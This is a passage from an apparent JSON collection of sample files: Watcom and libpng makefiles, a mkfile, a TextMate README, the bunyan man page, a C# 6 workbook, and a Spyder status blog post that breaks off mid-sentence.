extend\\ftxpost.obj &\n         extend\\ftxcmap.obj extend\\ftxwidth.obj extend\\ftxsbit.obj &\n         extend\\ftxgsub.obj extend\\ftxgpos.obj  extend\\ftxopen.obj &\n         extend\\ftxgdef.obj\n\nSRC_M = ttapi.c     ttcache.c   ttcalc.c   ttcmap.c  &\n        ttgload.c   ttinterp.c  ttload.c   ttobjs.c  &\n        ttraster.c  ttextend.c  $(PORT)\n\nOBJS_M = ttapi.obj     ttcache.obj   ttcalc.obj   ttcmap.obj  &\n         ttgload.obj   ttinterp.obj  ttload.obj   ttobjs.obj  &\n         ttraster.obj  ttextend.obj  $(PORT_OBJS) $(OBJS_X)\n\nSRC_S = freetype.c\nOBJ_S = freetype.obj\nOBJS_S = $(OBJ_S) $(OBJS_X)\n\n\n.c.obj:\n  $(CC) $(CCFLAGS) $[* /fo=$[*.obj\n\nall: .symbolic\n  $(FT_MAKE) -f $(FT_MAKEFILE) libttf.lib\n\ndebug: .symbolic\n  $(FT_MAKE) -f $(FT_MAKEFILE) LIB_FILES=\"$(OBJS_M)\" libttf.lib\n\n\nlibttf.lib: $(OBJS_M)\n  wlib -q -n libttf.lib $(OBJS_M)\n\n# is this correct? Know nothing about wmake and the Watcom compiler...\n$(OBJ_S): $(SRC_S) $(SRC_M)\n  $(CC) $(CCFLAGS) $(SRC_S) /fo=$(OBJ_S)\n\nclean: .symbolic\n  @-erase $(OBJS_M)\n  @-erase *.err\n\ndistclean: .symbolic clean\n  @-erase libttf.lib\n\nnew: .symbolic\n  @-wtouch *.c\n\n# end of Makefile.wat\n"
  },
  {
    "path": "samples/Makefile/filenames/makefile.sco",
    "content": "# makefile for SCO OSr5  ELF and Unixware 7 with Native cc\n# Contributed by Mike Hopkirk (hops@sco.com) modified from Makefile.lnx\n#   force ELF build dynamic linking, SONAME setting in lib and RPATH in app\n# Copyright (C) 2002, 2006, 2010-2014 Glenn Randers-Pehrson\n# Copyright (C) 1998 Greg Roelofs\n# Copyright (C) 1996, 1997 Andreas Dilger\n#\n# This code is released under the libpng license.\n# For conditions of distribution and use, see the disclaimer\n# and license in png.h\n\n# Library name:\nLIBNAME = libpng16\nPNGMAJ = 16\n\n# Shared library names:\nLIBSO=$(LIBNAME).so\nLIBSOMAJ=$(LIBNAME).so.$(PNGMAJ)\nLIBSOREL=$(LIBSOMAJ).$(RELEASE)\nOLDSO=libpng.so\n\n# Utilities:\nCC=cc\nAR_RC=ar rc\nMKDIR_P=mkdir\nLN_SF=ln -f -s\nRANLIB=echo\nCP=cp\nRM_F=/bin/rm -f\n\n# where make install puts libpng.a, $(OLDSO)*, and png.h\nprefix=/usr/local\nexec_prefix=$(prefix)\n\n# Where the zlib library and include files are located\n#ZLIBLIB=/usr/local/lib\n#ZLIBINC=/usr/local/include\nZLIBLIB=../zlib\nZLIBINC=../zlib\n\nCPPFLAGS=-I$(ZLIBINC)\nCFLAGS= -dy -belf -O3\nLDFLAGS=-L. -L$(ZLIBLIB) -lpng16 -lz -lm\n\nINCPATH=$(prefix)/include\nLIBPATH=$(exec_prefix)/lib\nMANPATH=$(prefix)/man\nBINPATH=$(exec_prefix)/bin\n\n# override DESTDIR= on the make install command line to easily support\n# installing into a temporary location.  Example:\n#\n#    make install DESTDIR=/tmp/build/libpng\n#\n# If you're going to install into a temporary location\n# via DESTDIR, $(DESTDIR)$(prefix) must already exist before\n# you execute make install.\nDESTDIR=\n\nDB=$(DESTDIR)$(BINPATH)\nDI=$(DESTDIR)$(INCPATH)\nDL=$(DESTDIR)$(LIBPATH)\nDM=$(DESTDIR)$(MANPATH)\n\n# Pre-built configuration\n# See scripts/pnglibconf.mak for more options\nPNGLIBCONF_H_PREBUILT = scripts/pnglibconf.h.prebuilt\n\nOBJS = png.o pngset.o pngget.o pngrutil.o pngtrans.o pngwutil.o \\\n\tpngread.o pngrio.o pngwio.o pngwrite.o pngrtran.o \\\n\tpngwtran.o pngmem.o pngerror.o pngpread.o\n\nOBJSDLL = $(OBJS:.o=.pic.o)\n\n.SUFFIXES:      .c .o .pic.o\n\n.c.o:\n\t$(CC) -c $(CPPFLAGS) $(CFLAGS) -o $@ $<\n\n.c.pic.o:\n\t$(CC) -c $(CPPFLAGS) $(CFLAGS) -KPIC -o $@ $*.c\n\nall: libpng.a $(LIBSO) pngtest libpng.pc libpng-config\n\npnglibconf.h: $(PNGLIBCONF_H_PREBUILT)\n\t$(CP) $(PNGLIBCONF_H_PREBUILT) $@\n\nlibpng.a: $(OBJS)\n\t$(AR_RC) $@ $(OBJS)\n\t$(RANLIB) $@\n\nlibpng.pc:\n\tcat scripts/libpng.pc.in | sed -e s!@prefix@!$(prefix)! \\\n\t-e s!@exec_prefix@!$(exec_prefix)! \\\n\t-e s!@libdir@!$(LIBPATH)! \\\n\t-e s!@includedir@!$(INCPATH)! \\\n\t-e s!-lpng16!-lpng16\\ -lz\\ -lm! > libpng.pc\n\nlibpng-config:\n\t( cat scripts/libpng-config-head.in; \\\n\techo prefix=\\\"$(prefix)\\\"; \\\n\techo I_opts=\\\"-I$(INCPATH)/$(LIBNAME)\\\"; \\\n\techo ccopts=\\\"-belf\\\"; \\\n\techo L_opts=\\\"-L$(LIBPATH)\\\"; \\\n\techo libs=\\\"-lpng16 -lz -lm\\\"; \\\n\tcat scripts/libpng-config-body.in ) > libpng-config\n\tchmod +x libpng-config\n\n$(LIBSO): $(LIBSOMAJ)\n\t$(LN_SF) $(LIBSOMAJ) $(LIBSO)\n\n$(LIBSOMAJ): $(OBJSDLL)\n\t$(CC) -G  -Wl,-h,$(LIBSOMAJ) -o $(LIBSOMAJ) \\\n\t $(OBJSDLL)\n\npngtest: pngtest.o $(LIBSO)\n\tLD_RUN_PATH=.:$(ZLIBLIB) $(CC) -o pngtest $(CFLAGS) pngtest.o $(LDFLAGS)\n\ntest: pngtest\n\t./pngtest\n\ninstall-headers: png.h pngconf.h pnglibconf.h\n\t-@if [ ! -d $(DI) ]; then $(MKDIR_P) $(DI); fi\n\t-@if [ ! -d $(DI)/$(LIBNAME) ]; then $(MKDIR_P) $(DI)/$(LIBNAME); fi\n\t-@$(RM_F) $(DI)/png.h\n\t-@$(RM_F) $(DI)/pngconf.h\n\t-@$(RM_F) $(DI)/pnglibconf.h\n\tcp png.h pngconf.h pnglibconf.h $(DI)/$(LIBNAME)\n\tchmod 644 $(DI)/$(LIBNAME)/png.h $(DI)/$(LIBNAME)/pngconf.h $(DI)/$(LIBNAME)/pnglibconf.h\n\t-@$(RM_F) $(DI)/png.h $(DI)/pngconf.h $(DI)/pnglibconf.h\n\t-@$(RM_F) $(DI)/libpng\n\t(cd $(DI); $(LN_SF) $(LIBNAME) libpng; $(LN_SF) $(LIBNAME)/* .)\n\ninstall-static: install-headers libpng.a\n\t-@if [ ! -d $(DL) ]; then $(MKDIR_P) $(DL); fi\n\tcp libpng.a $(DL)/$(LIBNAME).a\n\tchmod 644 $(DL)/$(LIBNAME).a\n\t-@$(RM_F) $(DL)/libpng.a\n\t(cd $(DL); $(LN_SF) $(LIBNAME).a libpng.a)\n\ninstall-shared: install-headers $(LIBSOMAJ) libpng.pc\n\t-@if [ ! -d $(DL) ]; then $(MKDIR_P) $(DL); fi\n\t-@$(RM_F) $(DL)/$(LIBSO)\n\t-@$(RM_F) $(DL)/$(LIBSOREL)\n\t-@$(RM_F) $(DL)/$(OLDSO)\n\tcp $(LIBSOMAJ) $(DL)/$(LIBSOREL)\n\tchmod 755 $(DL)/$(LIBSOREL)\n\t(cd $(DL); \\\n\t$(LN_SF) $(LIBSOREL) $(LIBSO); \\\n\t$(LN_SF) $(LIBSO) $(OLDSO))\n\t-@if [ ! -d $(DL)/pkgconfig ]; then $(MKDIR_P) $(DL)/pkgconfig; fi\n\t-@$(RM_F) $(DL)/pkgconfig/$(LIBNAME).pc\n\t-@$(RM_F) $(DL)/pkgconfig/libpng.pc\n\tcp libpng.pc $(DL)/pkgconfig/$(LIBNAME).pc\n\tchmod 644 $(DL)/pkgconfig/$(LIBNAME).pc\n\t(cd $(DL)/pkgconfig; $(LN_SF) $(LIBNAME).pc libpng.pc)\n\ninstall-man: libpng.3 libpngpf.3 png.5\n\t-@if [ ! -d $(DM) ]; then $(MKDIR_P) $(DM); fi\n\t-@if [ ! -d $(DM)/man3 ]; then $(MKDIR_P) $(DM)/man3; fi\n\t-@$(RM_F) $(DM)/man3/libpng.3\n\t-@$(RM_F) $(DM)/man3/libpngpf.3\n\tcp libpng.3 $(DM)/man3\n\tcp libpngpf.3 $(DM)/man3\n\t-@if [ ! -d $(DM)/man5 ]; then $(MKDIR_P) $(DM)/man5; fi\n\t-@$(RM_F) $(DM)/man5/png.5\n\tcp png.5 $(DM)/man5\n\ninstall-config: libpng-config\n\t-@if [ ! -d $(DB) ]; then $(MKDIR_P) $(DB); fi\n\t-@$(RM_F) $(DB)/libpng-config\n\t-@$(RM_F) $(DB)/$(LIBNAME)-config\n\tcp libpng-config $(DB)/$(LIBNAME)-config\n\tchmod 755 $(DB)/$(LIBNAME)-config\n\t(cd $(DB); $(LN_SF) $(LIBNAME)-config libpng-config)\n\ninstall: install-static install-shared install-man install-config\n\n# If you installed in $(DESTDIR), test-installed won't work until you\n# move the library to its final location.  Use test-dd to test it\n# before then.\n\ntest-dd:\n\techo\n\techo Testing installed dynamic shared library in $(DL).\n\t$(CC) -I$(DI) $(CPPFLAGS) \\\n\t   `$(BINPATH)/$(LIBNAME)-config --cflags` pngtest.c \\\n\t   -L$(DL) -L$(ZLIBLIB) \\\n\t   -o pngtestd `$(BINPATH)/$(LIBNAME)-config --ldflags`\n\t./pngtestd pngtest.png\n\ntest-installed:\n\t$(CC) $(CPPFLAGS) $(CFLAGS) \\\n\t   `$(BINPATH)/$(LIBNAME)-config --cflags` pngtest.c \\\n\t   -L$(ZLIBLIB) \\\n\t   -o pngtesti `$(BINPATH)/$(LIBNAME)-config --ldflags`\n\t./pngtesti pngtest.png\n\nclean:\n\t$(RM_F) *.o libpng.a pngtest pngout.png libpng-config \\\n\t$(LIBSO) $(LIBSOMAJ)* pngtest-static pngtesti \\\n\tpnglibconf.h libpng.pc\n\nDOCS = ANNOUNCE CHANGES INSTALL KNOWNBUG LICENSE README TODO Y2KINFO\nwritelock:\n\tchmod a-w *.[ch35] $(DOCS) scripts/*\n\n# DO NOT DELETE THIS LINE -- make depend depends on it.\n\npng.o png.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngerror.o pngerror.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngrio.o pngrio.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngwio.o pngwio.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngmem.o pngmem.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngset.o pngset.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngget.o pngget.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngread.o pngread.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngrtran.o pngrtran.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngrutil.o pngrutil.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngtrans.o pngtrans.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngwrite.o pngwrite.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngwtran.o pngwtran.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngwutil.o pngwutil.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\npngpread.o pngpread.pic.o: png.h pngconf.h pnglibconf.h pngpriv.h pngstruct.h pnginfo.h pngdebug.h\n\npngtest.o: png.h pngconf.h pnglibconf.h\n"
  },
  {
    "path": "samples/Makefile/filenames/mkfile",
    "content": "GREETINGS=hello gday bonjour hola ola kaixo tag hoi konnichiwa nihao dobredan namaste salaam\n\nall:V:\n\tmk greet.^($GREETINGS)\n\tfor(i in $GREETINGS)\n\t\tmk $i\n\ngreet.%: text-folder\n\t/n/$printer $stem >[2=1]\n"
  },
  {
    "path": "samples/Makefile/foo.o.d",
    "content": "bar/foo.o: \\\n bar/foo.c \\\n bar/baz.h\n\nbar/baz.h:\n"
  },
  {
    "path": "samples/Markdown/README.mdown",
    "content": "# Installation\n\nYou can install this bundle in TextMate by opening the preferences and going to the bundles tab. After installation it will be automatically updated for you.\n\n# General\n\n* [Bundle Styleguide](http://kb.textmate.org/bundle_styleguide) — _before you make changes_\n* [Commit Styleguide](http://kb.textmate.org/commit_styleguide) — _before you send a pull request_\n* [Writing Bug Reports](http://kb.textmate.org/writing_bug_reports) — _before you report an issue_\n\n# License\n\nIf not otherwise specified (see below), files in this repository fall under the following license:\n\n\tPermission to copy, use, modify, sell and distribute this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
  },
  {
    "path": "samples/Markdown/bunyan.1.ronn",
    "content": "# bunyan(1) -- filter and pretty-print Bunyan log file content\n\n\n## SYNOPSIS\n\n`bunyan` \\[OPTIONS\\]\n\n... | `bunyan` \\[OPTIONS\\]\n\n`bunyan` \\[OPTIONS\\] -p PID\n\n\n## DESCRIPTION\n\n\"Bunyan\" is **a simple and fast a JSON logging library** for node.js services,\na one-JSON-object-per-line log format, and **a `bunyan` CLI tool** for nicely\nviewing those logs. This man page describes the latter.\n\n\n### Pretty-printing\n\nA bunyan log file is a stream of JSON objects, optionally interspersed with\nnon-JSON log lines. The primary usage of bunyan(1) is to pretty print,\nfor example:\n\n    $ bunyan foo.log          # or `cat foo.log | bunyan\n    [2012-02-08T22:56:52.856Z]  INFO: myservice/123 on example.com: My message\n        extra: multi\n        line\n    [2012-02-08T22:56:54.856Z] ERROR: myservice/123 on example.com: My message\n    ...\n\nBy default the \"long\" output format is used. Use the `-o FORMAT` option to\nemit other formats. E.g.:\n\n    $ bunyan foo.log -o short\n    22:56:52.856Z  INFO myservice: My message\n        extra: multi\n        line\n    22:56:54.856Z ERROR myservice: My message\n    ...\n\nThese will color the output if supported in your terminal.\nSee \"OUTPUT FORMATS\" below.\n\n\n### Filtering\n\nThe `bunyan` CLI can also be used to filter a bunyan log. Use `-l LEVEL`\nto filter by level:\n\n    $ bunyan foo.log -l error       # show only 'error' level records\n    [2012-02-08T22:56:54.856Z] ERROR: myservice/123 on example.com: My message\n\nUse `-c COND` to filter on a JavaScript expression returning true on the\nrecord data. In the COND code, `this` refers to the record object:\n\n    $ bunyan foo.log -c `this.three`     # show records with the 'extra' field\n    [2012-02-08T22:56:52.856Z]  INFO: myservice/123 on example.com: My message\n        extra: multi\n        line\n\n\n## OPTIONS\n\n  * `-h`, `--help`:\n    Print this help info and exit.\n\n  * `--version`:\n    Print version of this command and exit.\n\n  * `-q`, `--quiet`:\n    Don't warn if input isn't valid JSON.\n\nDtrace options (only on dtrace-supporting platforms):\n\n  * `-p PID`, `-p NAME`:\n    Process bunyan:log-\\* probes from the process with the given PID.\n    Can be used multiple times, or specify all processes with '\\*',\n    or a set of processes whose command & args match a pattern with\n    '-p NAME'.\n\nFiltering options:\n\n  * `-l`, `--level LEVEL`:\n    Only show messages at or above the specified level. You can specify level\n    *names* or numeric values. (See 'Log Levels' below.)\n\n  * `-c COND`, `--condition COND`:\n    Run each log message through the condition and only show those that\n    resolve to a truish value. E.g. `-c 'this.pid == 123'`.\n\n  * `--strict`:\n    Suppress all but legal Bunyan JSON log lines. By default non-JSON, and\n    non-Bunyan lines are passed through.\n\nOutput options:\n\n  * `--color`:\n    Colorize output. Defaults to try if output stream is a TTY.\n\n  * `--no-color`:\n    Force no coloring (e.g. terminal doesn't support it)\n\n  * `-o FORMAT`, `--output FORMAT`:\n    Specify an output format. One of `long` (the default), `short`, `json`,\n    `json-N`, `bunyan` (the native bunyan 0-indent JSON output) or `inspect`.\n\n  * `-j`:\n    Shortcut for `-o json`.\n\n  * `-L`, `--time local`:\n    Display the time field in *local* time, rather than the default UTC\n    time.\n\n\n## LOG LEVELS\n\nIn Bunyan log records, then `level` field is a number. For the `-l|--level`\nargument the level **names** are supported as shortcuts. In `-c|--condition`\nscripts, uppercase symbols like \"DEBUG\" are defined for convenience.\n\n    Level Name      Level Number    Symbol in COND Scripts\n    trace           10              TRACE\n    debug           20              DEBUG\n    info            30              INFO\n    warn            40              WARN\n    error           50              ERROR\n    fatal           60              FATAL\n\n\n## OUTPUT FORMATS\n\n    FORMAT NAME         DESCRIPTION\n    long (default)      The default output. Long form. Colored and \"pretty\".\n                        'req' and 'res' and 'err' fields are rendered specially\n                        as an HTTP request, HTTP response and exception\n                        stack trace, respectively. For backward compat, the\n                        name \"paul\" also works for this.\n    short               Like the default output, but more concise. Some\n                        typically redundant fields are ellided.\n    json                JSON output, 2-space indentation.\n    json-N              JSON output, N-space indentation, e.g. \"json-4\"\n    bunyan              Alias for \"json-0\", the Bunyan \"native\" format.\n    inspect             Node.js `util.inspect` output.\n\n\n## DTRACE SUPPORT\n\nOn systems that support DTrace (e.g., MacOS, FreeBSD, illumos derivatives\nlike SmartOS and OmniOS), Bunyan will create a DTrace provider (`bunyan`)\nthat makes available the following probes:\n\n    log-trace\n    log-debug\n    log-info\n    log-warn\n    log-error\n    log-fatal\n\nEach of these probes has a single argument: the string that would be\nwritten to the log.  Note that when a probe is enabled, it will\nfire whenever the corresponding function is called, even if the level of\nthe log message is less than that of any stream.\n\nSee <https://github.com/trentm/node-bunyan#dtrace-support> for more details\nand the '-p PID' option above for convenience usage.\n\n\n## ENVIRONMENT\n\n  * `BUNYAN_NO_COLOR`:\n    Set to a non-empty value to force no output coloring. See '--no-color'.\n\n\n## PROJECT & BUGS\n\n`bunyan` is written in JavaScript and requires node.js (`node`). The project\nlives at <https://github.com/trentm/node-bunyan> and is published to npm as\n\"bunyan\".\n\n* README, Install notes: <https://github.com/trentm/node-bunyan#readme>\n* Report bugs to <https://github.com/trentm/node-bunyan/issues>.\n* See the full changelog at: <https://github.com/trentm/node-bunyan/blob/master/CHANGES.md>\n\n\n## LICENSE\n\nMIT License (see <https://github.com/trentm/node-bunyan/blob/master/LICENSE.txt>)\n\n\n## COPYRIGHT\n\nnode-bunyan is Copyright (c) 2012 Joyent, Inc. Copyright (c) 2012 Trent Mick.\nAll rights reserved.\n"
  },
  {
    "path": "samples/Markdown/csharp6.workbook",
    "content": "---\nuti: com.xamarin.workbook\nplatforms:\n- Console\n---\n\n# Using C# 6\n\nSome examples from Xamarin's [intro to C# 6](https://developer.xamarin.com/guides/cross-platform/advanced/csharp_six/).\n\n* Null-conditional operator\n\n* String Interpolation\n\n* Expression-bodied Function Members\n\n* Auto-property Initialization\n\n* Index Initializers\n\n* using static\n\n## Null-conditional operator\n\nThe `?.` operator automatically does a null-check before referencing the\nspecified member. The example string array below has a `null` entry:\n\n```csharp\nvar names = new string[] { \"Foo\", null };\n```\n\nIn C# 5, a null-check is required before accessing the `.Length` property:\n\n```csharp\n// C# 5\nint secondLength = 0;\nif (names[1] != null)\n  secondLength = names[1].Length;\n```\n\nC# 6 allows the length to be queried in a single line; the entire\nstatement returns `null` if any object is null.\n\n```csharp\nvar length0 = names[0]?.Length; // 3\nvar length1 = names[1]?.Length; // null\n```\n\nThis can be used in conjunction with the `??` null coalescing operator\nto set a default value (such as `0`) in the example below:\n\n```csharp\nvar lengths = names.Select (names => names?.Length ?? 0); //[3, 0]\n```\n\n## String Interpolation\n\nPreviously strings were built in a number of different ways:\n\n```csharp\nvar animal = \"Monkeys\";\nvar food = \"bananas\";\n\nvar out1 = String.Format (\"{0} love to eat {1}\", animal, food);\nvar out2 = animal + \" love to eat \" + food;\n// or even StringBuilder\n```\n\nC# 6 provides a simple syntax where the fieldname can be\nembedded directly in the string:\n\n```csharp\n$\"{animal} love to eat {food}\"\n```\n\nString-formatting can also be done with this syntax:\n\n```csharp\nvar values = new int[] { 1, 2, 3, 4, 12, 123456 };\nforeach (var s in values.Select (i => $\"The value is {i,10:N2}.\")) {\n   Console.WriteLine (s);\n}\n```\n\n## Expression-bodied Function Members\n\nThe `ToString` override in the following class is an expression-bodied\nfunction - a more succinct declaration syntax.\n\n```csharp\nclass Person\n{\n    public string FirstName { get; }\n    public string LastName { get; }\n    public Person (string firstname, string lastname)\n    {\n       FirstName = firstname;\n       LastName = lastname;\n    }\n    // note there is no explicit `return` keyword\n    public override string ToString () => $\"{LastName}, {FirstName} {LastName}\";\n}\n```\n\n`void` expression bodied functions are also allowed so long as\nthe expression is a statement:\n\n```csharp\npublic void Log(string message) => System.Console.WriteLine($\"{DateTime.Now.ToString (\"s\", System.Globalization.CultureInfo.InvariantCulture )}: {message}\");\n```\n\nThis simple example calls these two methods:\n\n```csharp\nLog(new Person(\"James\", \"Bond\").ToString())\n```\n\n## Auto-property Initialization\n\nProperties (ie. specified with `{get;set;}`) can be initialized inline\nwith C# 6:\n\n```csharp\nclass Todo\n{\n    public bool Done { get; set; } = false;\n    public DateTime Created { get; } = DateTime.Now;\n    public string Description { get; }\n\n    public Todo (string description)\n    {\n       this.Description = description; // can assign (only in constructor!)\n    }\n    public override string ToString () => $\"'{Description}' was created on {Created}\";\n}\n```\n\n```csharp\nnew Todo(\"buy apples\")\n```\n\n## Index Initializers\n\nDictionary-style data structures let you specify key/value\ntypes with a simple object-initializer-like syntax:\n\n```csharp\nvar userInfo = new Dictionary<string,object> {\n    [\"Created\"] = DateTime.Now,\n    [\"Due\"] = DateTime.Now.AddSeconds(60 * 60 * 24),\n    [\"Task\"] = \"buy lettuce\"\n};\n```\n\n## using static\n\nEnumerations, and certain classes such as System.Math, are primarily\nholders of static values and functions. In C# 6, you can import all\nstatic members of a type with a single using static statement:\n\n```csharp\nusing static System.Math;\n```\n\nC# 6 code can then reference the static members directly, avoiding\nrepetition of the class name (eg. `Math.PI` becomes `PI`):\n\n```csharp\npublic class Location \n{\n    public Location (double lat, double @long) {Latitude = lat; Longitude = @long;} \n    public double Latitude = 0; public double Longitude = 0; \n}\nstatic public double MilesBetween(Location loc1, Location loc2)\n{\n  double rlat1  = PI * loc1.Latitude / 180;\n  double rlat2  = PI * loc2.Latitude / 180;\n  double theta  = loc1.Longitude - loc2.Longitude;\n  double rtheta = PI * theta / 180;\n  double dist =\n      Sin(rlat1) * Sin(rlat2) + Cos(rlat1) *\n      Cos(rlat2) * Cos(rtheta);\n  dist = Acos(dist);\n  dist = dist*180/PI;\n  dist = dist*60*1.1515;\n  return dist; //miles\n}\n```\n\n```csharp\nMilesBetween (new Location(-12,22), new Location(-13,33))\n```"
  },
  {
    "path": "samples/Markdown/filenames/contents.lr",
    "content": "title: State of the Spyder, Part 1: Looking back\n---\npub_date: 2018-05-06 00:00\n---\ntags: development, status-update, milestone\n---\ncategory: Status\n---\nauthor: camgerlach\n---\nsummary: In the first of a three part series, we look back at the major events, project changes, milestones, and progress over the past six months since our previous funding ended. We'll also go over funding and development stats and status up to the present.\n---\nbody:\n\nAs we approach some major development milestones, now is as good a time as ever to share with you some perspective on where we've been, what's happening now, and where we're going in the world of Spyder.\nIn this post, part one of a three part series, we'll take a look back over the past six months at some of the key events, accomplishments and challenges for Spyder and its community, and how that all leads up to where we are now.\n\nStay tuned right here, since part two will share several exciting announcements that affect the project (in a good way, we promise!) and its immediate future.\nEven better, part three will formally announce the next Spyder 3 release and—what I'm sure you are all looking forward to—the plan for the first official Spyder 4 beta, plus our schedule and feature roadmap for Spyder 4 and beyond!\n\n\n## A Call Answered\n\nStarting off, as we announced back in mid-November, our funding from Anaconda, Inc was discontinued, leaving Spyder without formal institutional financial support.\nAs Spyder was, is and always will be a community-developed and supported IDE, this was far from a mortal blow to the project, but it did impact the pace and breadth of development.\nDeveloper effort previously spent on our Spyder plugins, like [spyder-notebook](https://github.com/spyder-ide/spyder-notebook), [spyder-reports](https://github.com/spyder-ide/spyder-reports), and [spyder-terminal](https://github.com/spyder-ide/spyder-terminal), among others, was refocused on the Spyder core, and the development and release of Spyder 4 was put mostly on hold.\nTo help make up for the loss of funding, we appealed to the community for support, asking users who found Spyder valuable to back our project on [OpenCollective](https://opencollective.com/spyder), in order to accelerate development and fund more features for Spyder 4.\n\n![Spyder OpenCollective, showing many donations and backers](spyder_opencollective.png)\n\nTo our unending gratitude, you responded! In the few months since then, we've gone from zero to a budget of well over $4500 per year and rising at an increasing pace, thanks to the continuing contributions of over 80 (and counting!) individual and institutional backers.\nWe also had several new core team members and community contributors pitch in to help carry the load, and we've got some more great news in the very next post on the funding front.\nWhile we've got a ways to go to match the level of funding we've received under Anaconda, your support has helped make possible several of the new features we've planned for Spyder 4, and allow us to commit to releasing it much sooner than we would be able to otherwise.\nYour generous donations go directly toward funding the Spyder community's most-requested new and improved features for Spyder 4, so keep them coming!\nStay tuned; we are considering rolling out new donation tiers and rewards at some point soon so you won't want to miss that.\n\n\n## Development by the Numbers\n\nOn the development side of the project, while our overall pace is modestly lower than its peak under our Anaconda funding, we've been quite active fixing bugs and adding new features and enhancements over the past six months.\nBy the numbers, since mid-November, we've pushed approximately 1200 commits to ``master`` (Spyder 4), comprising over 37 000 lines added and 16 000 removed, and 900 commits to ``3.x`` (Spyder 3), with over 16 500 additions and 10 000 deletions.\nUsers have opened over 1375 issues (bugs, feature requests and other feedback), of which we've managed to resolve more than 1330, or nearly 97%.\n\n![Github commit timeseries for Spyder, with high activity over the past few years](github_commit_history.png)\n\nFurther, over 250 pull requests from almost two dozen unique contributors, some old, some new, have been submitted since that time—fixing bugs, adding new or enhanced functionality, or making other improvements—of which 226 have been merged to the main Spyder codebase.\nThis work has coalesced into four separate official releases during that period, with another only days away.\nFinally, we've recently blown past the 3000 Github stars milestone a few weeks ago (we're now at more than 3200), with almost 700 unique forks to date.\n\n\n## Key Spyder Improvements\n\nAll those numbers are nice, but what matters most are the tangible improvements that you all get to use every day in your favorite IDE.\nOver those same past six months, alongside hundreds of bugfixes and minor enhancements, we've made multiple significant improvements to the Spyder 3 Editor, IPython Console, Variable Explorer, and Find in Files tool, along with a number of others under the hood and to the application as a whole.\nEven better, the majority of these were suggested by you, our users, and some of you even pitched in to help implement them.\n\nEspecially since you will probably be spending most of your time in it, we added a several new commands and functions to the **Editor** that will hopefully make your life easier, each with corresponding customizable shortcuts for easier access.\nYou can now insert a new line below the current one regardless of the cursor's current position with ``Ctrl-Shift-Enter``, and you can now use ``Shift-Delete`` to cut selected text, and ``Shift-Insert`` to paste it.\n``Ctrl-PageUp``, ``Ctrl-PageDown``, and ``Ctrl-Tab`` shortcuts are all now fully configurable.\nFinally, you can now easily ``Tab`` from the ``Find`` to the ``Replace`` box when open, and better yet your ``Find`` text is automatically copied to the ``Replace`` box to make modifications easier.\n\nSecond only to the Editor in terms of them most critical Spyder components, the **IPython Console** also got a lot of love in recent releases.\nWe've made several improvements to significantly improve the startup time, and added an optional feature to show the elapsed time each kernel has been running.\nYou can now remove all user-defined variables with a GUI command, and changes in ``import``ed modules now take effect instantly and automatically in the console, without even a re-``import`` needed.\n``Cloudpickle`` is now used to serialize objects from the Console to the Variable Explorer, greatly improving the latter's capabilities (as discussed below).\nFinally, Cython files are now automatically run in dedicated Cython consoles, and you can now use the edit magic command from the Console to open any file right inside Spyder's Editor.\n\n![Variable Explorer, with a variety of array types displayed](varexp_array_display.png)\n\nThe **Variable Explorer**, which many of you cite as Spyder's \"killer feature\", has greatly improved as well.\nMost notably, thanks to the aforementioned ``cloudpickle`` change, you now have access to rich, deep exploration of nearly any object, builtin or custom, and can traverse, view, and when possible even edit complex hierarchies of nested types with ease.\nThe Variable Explorer now fully supports ``Timedelta`` objects, both built-in and ``Pandas`` variants, allowing you to easily view and edit them just like ``datetime`` and ``Timestamp``.\nIt also now uses a \"pretty\", more human-readable format for dates, times, timedeltas and the like, and also now supports displaying a much wider range of ``Numpy`` array types.\nAs a quality of life change, it has much better handling of immutable types, like ``tuples``, clearly showing they can't be edited upfront and avoiding bothersome errors when trying to do so.\n\nRounding out the major changes, the **Find in Files** tool now allows you to remove items from the ``Search In`` list by hovering over them and pressing ``Delete``, and there's also a new option to clear all recent directories.\nUnder the hood, we've made ``PyQt5`` a dependency for easier, one-command installation and added many more tests and better project infrastructure to help catch errors.\nTo make things easier on you if something does go wrong, we've greatly improved the error reporting system, the UI/UX and the explanatory text to be more up to date, informative, and user friendly.\n\n![New Spyder error report dialog, with more helpful UI text](error_report_dialog.png)\n\nAll of the mentioned additions are included in the latest released version of Spyder, 3.2.8, which you can update to with ``conda update spyder`` (if using Anaconda), with your package manager/distribution (if installed that way) or with ``pip update spyder`` (otherwise).\nEven more are already implemented for our next release, due out in a week's time, and we'll have a preview of what to expect right here on the blog even sooner.\n\n\n## Affiliated Project Progress\n\nOutside the core Spyder IDE, while most plugins have been paused until the Spyder 4 release, work on other affiliated projects has continued. The new [spyder-unittest](https://github.com/spyder-ide/spyder-unittest) plugin has seen particularly active development, and lead developer and Spyder team member [Jitse Niesen](http://www1.maths.leeds.ac.uk/~jitse/) recently published a [tutorial on its 